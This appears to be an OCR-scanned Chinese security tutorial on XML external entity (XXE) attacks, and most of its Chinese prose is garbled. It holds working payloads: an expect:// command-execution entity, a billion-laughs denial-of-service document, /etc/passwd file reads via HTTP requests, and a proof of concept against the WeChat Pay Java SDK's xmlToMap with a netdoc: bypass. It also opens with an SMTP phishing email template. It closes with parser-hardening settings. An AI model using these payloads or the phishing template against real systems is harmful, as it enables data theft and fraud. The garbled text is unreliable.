MAIL FROM: <support@VULNERABLESYSTEM.com>

RCPT TO: <victim@gmail.com>

DATA

From: support@VULNERABLESYSTEM.com

To: victim@gmail.com

Subject: Reset your password

We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com

QUIT

:support@VULNERABLESYSTEM. com: 25

XEIRE B T UG R RIE R R AR (Flin. Wk EEEE) IHood R B AR a8 KA .
BT AN, HERATEAT LURIEM A .

TR\ HoAth:
B T b SRIe H — L A A ASNER — HHEE B RA AT, AT E BRI A
BHH—T:

1.PHP expect RCE
BT PHP ] expect A RBINZEY R, WMRZET X expect T REBATS G EERIH XXE #1T RCE
Z I EAR TR



<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>

<file>&cmd;</file>

</dir>

2. 1 XXE #t47 DOS B i
ARG

<?xml version="1.0"?>
<IDOCTYPE lolz [
<IENTITY lol "lol">
<IENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<IENTITY 1lol3 "&lo0l2;&1012;&1012;&1012;8&1012;&1012;&1012;8&1012;&1012;&1012;">
<IENTITY lol4 "&lo1l3;&l013;&l013;&l013;&1013;&1013;&1013;&l1013;&1013;&1013;">
<IENTITY lol5 "&lol4;&1014;&1014;&1014;&1014;&1014;&1014;&1014;&1014;&1014;">
<IENTITY lol6 "&lol5;&l0l15;&1015;&1015;&1015;&1015;&1015;&1015;&1015;&1015;">
<IENTITY lol7 "&lol6;&1016;&1016;&1016;&1016;&1016;&1016;&1016;&1016;&1016;">
<!ENTITY lol8 "&lol7;&1017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;&1017;">
<IENTITY lol9 "&lol8;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;&1018;">
1>
<lolz>&lol9;</lolz>

fi. HSEH) XXE i BL7EMR
RAORIRB T 2%, #HRRRBRAIGXARRGEM, (5 IR B IR I 4

w4 web BFAX, R—AETEW S B REAR, HAY MVC 2G4 5, EREGXF BRI,
Ja ik R B AR A A R B R AR MIE S, BATRKIATE R0 B2, At api R ST ERZACHFEEAN
g, REEE—RIINBEEHE, BHEALRL json ENRE LRI, TR ATAAERR, ERHEE
json.decode BT T CXEKJENAILAR)E G, WAl ARSMRKap &0, X 8K TG e R4 SRR LR
i, ARG &)

A2 F FRZ H A BUAE api # D BEMENT 2 7 S A% R xml RS, JF BEESMNESRAERGIA, i F XA
Lhl—: BUHF L
B



POST /vulnerable HTTP/1.1

Host: www.test.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Referer: https://test.com/test.html

Content-Type: application/xml

Content-Length: 294

Cookie: mycookie=cookies;

Connection: close

Upgrade-Insecure-Requests: 1

<?xml version="1.0"?>
<catalog>
<core id="test101">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price»9.99</price>
<date>2018-10-01</date>
<description>XML is the best!</description>
</core>
</catalog>

FAVR W WH xml 1 POST EKLLE, BARDR AT i IR 88 FIXMLAL B 834 AT o« ARG A AR i [E -
{*Request Successful’: “Added!”}

HRARBAMEA—NBERRE

<?xml version="1.0"?>
<!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<catalog>
<core id="testle1">
<author>John, Doe</author>
<title>I love XML</title>
<category>Computers</category>
<price>9.99</price>
<date>2018-10-01</date>
<description>&xxe;</description>
</core>
</catalog>

WRBA M R e s H IR BRSSO, sah T AR E

"error": "no results for description root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync...

LB = TR ATE XXE
B — R T IEH KBTS STAT I XXE IR TR SR A EA R,



AR -

WA SATIRAE T — A api 80, HEFBER P IAFLER, WIS AT Mjava sdkiE b B 45 5 AT s fil & — A
XXEJRif, Hrohal LA ANE O R %18 % Epayloads, SREBUR KRS8 EAEMER, —BEREHERE TH
RIEHE (md5-key and merchant-Id etc.), AT fgiEE &K I1E i 1S B FIE Bt I SE i RAE B i

TTFRT java AR sdk #AT 47, XA sdk #4E 7 —4 WXPayUtil TR, Z%3EH LI T xmitoMap#l
maptoXmliX PN 7732%,  TIIX IR IS SCAT Do T TR 28 & U ZExmitoMap 77 125 1

1 L

Map<String, String> xmlToMap(String strXxMmL) Exception {

{
Map<String, String> data HashMap (0]
DocumentBuilder documentBuilder WXPayXmLUtil Q
InputStream stream ByteArrayInputStream(strXML .getBytes(
org.w3c.dom.Document doc documentBuilder .parse(stream)
doc.getDocumentElement() .normalize()
NodelList nodelList doc.getDocumentELement() .getChildNodes()

( idx 8; idx nodelList getLength() idx) {

Node node nodelList item(idx)

(node .getNodeType() Node ) {
org.w3c.dom.Element element (org.w3c.dom.Element) node
data. put(element. getNodeName(), element.getTextContent())

X

{

stream.close()
(Exception ex) {

ER ]
(Exception ex) {
WXPayUtil () .warn("Invalid XML, can not convert to map. Errdr message:
ex

a4 LI k

I LA L DLAE B LRl R AR B 2, R gt R T AL O T A -

public static Map<String, String> xmlToMap(String strXML) throws Exception {

try {
Map<String, String> data = new HashMap<String, String>();
DocumentBuilder documentBuilder = WXPayXmlUtil.newDocumentBuilder();
InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8"));
org.w3c.dom.Document doc = documentBuilder.parse(stream);

BAITLLE R 2 T documentBuilder LAJG Bt BB ST 4E3E R strXML fEHT 7, TIATIHIZ strXML & — b I
HHEAENSE, TEREINT XXE KFH, FTHARZKKSE

HARE comBTIGHET — M, REBATWIRXALS, WX E A4 test001 java
W E R :
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java_sdk v3.0.9 SIC main

9 (wxpay-sdk] 3 Jjava.util.Map

com.github.wxpay.sdk.WXPayUtil

o wn b

main

testool {
main(String args[]) {

String xmlStr ="<?xml version='1.8' encoding='utf-8'?>\r\n"
"< IDOCTYPE XDSEC [\
"¢IENTITY xxe SYSTEM 'file:///d:/1.txt’'>]>\
"<XDSEC>\r\n"

"<XXE>&xxe; </XXE>) "
"</XDSEC>"

{

Map<String,String: test (xmlStr)
System printin(test)
| (Exception e){
» il External Libraries Z e.printStackTrace()
> Ep S )

test001.java

package com.test.test0o1;
import java.util.Map;
import static com.github.wxpay.sdk.WXPayUtil.xmlToMap;

public class test00l {
public static void main(String args[]) throws Exception {

String xmlStr ="<?xml version='1.0' encoding='utf-8'?>\r\n" +
"<IDOCTYPE XDSEC [\r\n" +
"<IENTITY xxe SYSTEM 'file:///d:/1.txt'>]>\r\n" +
"<XDSEC>\r\n"+
"<XXE>&xxe; </XXE>\r\n" +
"</XDSEC>";

try{
Map<String,String> test = xmlToMap(xmlStr);
System.out.println(test);

}catch (Exception e){
e.printStackTrace();

RAE TR D # FHA 1.t 304
IBAT 5 B R
B B -
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{XXE=XXE ATTACK}

finished with exit

B4R, WXPayXmlUtil java XA sdk FECE T, REEZRELBRIZR, HRJ5HEE R4 n i 5 m st
TEE)

http://apache.org/xml/features/disallow-doctype-decl true
http://apache.org/xml/features/nonvalidating/load-external-dtd false
http://xml.org/sax/features/external-general-entities false
http://xml.org/sax/features/external-parameter-entities false

BNMEEBITAF T CL LEIRNEE S, AXBRERET LUET —TEZ:

B AEMA BRI REE: xq1b

LHE¥ java 1 —4 netdoc:/ Mhil e E: file:/// \FRIUIERER—TF:
mE R
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¥ test001.java WXPayUtil.java WXPayXmlUtil.java WXPay.java IWXPayDomain.java

java.util.Map

w

com.github.wxpay.sdkR.WXPayUtil

[4)]

testoo1l {
main(String args[]) {

WO o

String xmlStr ="<?xml version='1.8' encoding='utf-8'?>\r\n"
"<IDOCTYPE XDSEC [\r\n"
"<IENTITY xxe SYSTEM 'netdoc:/d:/1.txt >]>\r\n"
"<XDSEC>\r\n"
"<XXE>&xxe; </XXE>\r\n"
"</XDSEC>"

(= = ==

S W N R ®

3 =2
I

{

Map<String,String> test (xmlstr)
System println(test)

(Exception e){
e.printStackTrace

NN N R

8
9
1
2

test001
{XXE=XXE ATTACK}

Process finished with exit

a4 LI

£#1=: JSON content-type XXE

IEMBAIFTEE R, B2webMEEsh R ERE T & P - R & 282 EERwebiBERS . A& 2 SOAPIE 2
RESTful, —f&xtFwebiR%HRUt, BH WK EHERKRAFRZXMLAISON, REwebR 55 1] RE7Egn FE i R A H
h—Fig R, ERSBATTUBEZIF RN G IEE TR B EER R, XRE T Ra S BJISONY M2 3
XXE (XMLAMERSEAR) B

JE 453 75 SR A e -

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/json
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:


https://xzfile.aliyuncs.com/media/upload/picture/20181120002652-ebdec6a8-ec17-1.png

HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 43

{"error": "no results for name netspitest"}

AR Content-Type &5t application/xml
BE— 35 7 KA1 L

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 38

{"search":"name","value":"netspitest"}

HTTP Response:

HTTP/1.1 500 Internal Server Error
Content-Type: application/json
Content-Length: 127

"errors":{"errorMessage":"org.xml.sax.SAXParseException: XML document structures must start and end within

T UL B S B0 R R AL E el MR 0, TR R VR T LU FR A A7 Bt
35 24 i SRR

HTTP Request:

POST /netspi HTTP/1.1

Host: someserver.netspi.com
Accept: application/json
Content-Type: application/xml
Content-Length: 288

<?xml version="1.0" encoding="UTF-8" ?>

<!IDOCTYPE netspi [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>

<search>name</search>

<value>&xxe;</value>

</root>

HTTP Response:



HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 2467

"error": "no results for name root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync....

75~ XXE 0] B 4

TR MERES P HERKIZE R S8 S 4 i 75

PHP:

libxml_disable_entity_loader(true);

JAVA:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

.setFeature("http://apache.org/xml/features/disallow-doctype-decl”,true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)

.setFeature("http://xml.org/sax/features/external-parameter-entities"”,false);

Python:

from 1lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))

TRZ: FHBRBALE(RHER)
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